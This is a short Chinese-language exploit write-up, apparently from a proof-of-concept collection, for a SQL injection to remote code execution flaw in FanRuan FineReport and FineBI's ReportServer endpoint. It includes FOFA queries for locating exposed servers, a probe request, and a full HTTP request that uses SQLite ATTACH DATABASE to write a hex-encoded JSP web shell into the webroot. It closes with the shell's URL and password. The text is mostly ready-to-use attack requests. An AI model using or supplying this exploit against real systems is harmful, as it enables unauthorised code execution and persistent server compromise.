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57 lines
2.5 KiB
Markdown
57 lines
2.5 KiB
Markdown
# 帆软系统ReportServer存在SQL注入漏洞导致RCE
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帆软工具软件存在RCE
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访问URL:/webroot/decision/view/ReportServer?test=&n=，可执行GET参数n中的SQL语句，该漏洞是由于帆软自带的sqlite-jdbc-x.x.x.x.jar驱动导致。影响范围：FineReport和FineBI所有版本产品。HW爆出的day，没有复现
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## fofa
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```yaml
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body="isSupportForgetPwd"
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app="帆软-FineReport"
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```
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## poc
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```java
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GET /webroot/decision/view/ReportServer?test=&n=${9*9}
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HTTP/1.1
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Host: 192.168.174.152:8075
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0)Gecko/20100101 Firefox/128.0
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Accept: application/json, text/javascript, */*; q=0.01
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Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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X-Requested-With: XMLHttpRequest
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Connection: close
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Referer:http://192.168.174.152:8075/webroot/decision/login?origin=1dc5fbd4-27eb-41b5-a43f-0623003685b4
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Cookie: tenantId=default
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```
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## 写文件
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注：打过一次之后还要再打的话要改下数据库名称
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```java
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GET /webroot/decision/view/ReportServer?test=s&n=${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFATTACH%20DATABASE%20%27..%2Fwebapps%2Fwebroot%2Faaa.jsp%27%20as%20gggggg%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFCREATE%20TABLE%20gggggg.exp2%28data%20text%29%3B'),1,1)}${__fr_locale__=sql('FRDemo',DECODE('%EF%BB%BFINSERT%20INTO%20gggggg.exp2%28data%29%20VALUES%20%28x%27247b27272e676574436c61737328292e666f724e616d6528706172616d2e61292e6e6577496e7374616e636528292e676574456e67696e6542794e616d6528276a7327292e6576616c28706172616d2e62297d%27%29%3B'),1,1)} HTTP/1.1
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Host:
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Cache-Control: max-age=0
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Upgrade-Insecure-Requests: 1
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate, br
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Accept-Language: zh-CN,zh;q=0.9
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Connection: keep-alive
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```
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`http://127.0.0.1:8080/webroot/aaa.jsp?a=javax.script.ScriptEngineManager` 密码 b
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## 参考文章
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- https://y4tacker.github.io/2024/07/23/year/2024/7/%E6%9F%90%E8%BD%AFReport%E9%AB%98%E7%89%88%E6%9C%AC%E4%B8%AD%E5%88%A9%E7%94%A8%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%86%E8%8A%82/
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- https://mp.weixin.qq.com/s/AliftiLevjz5HB9uL0DOqQ
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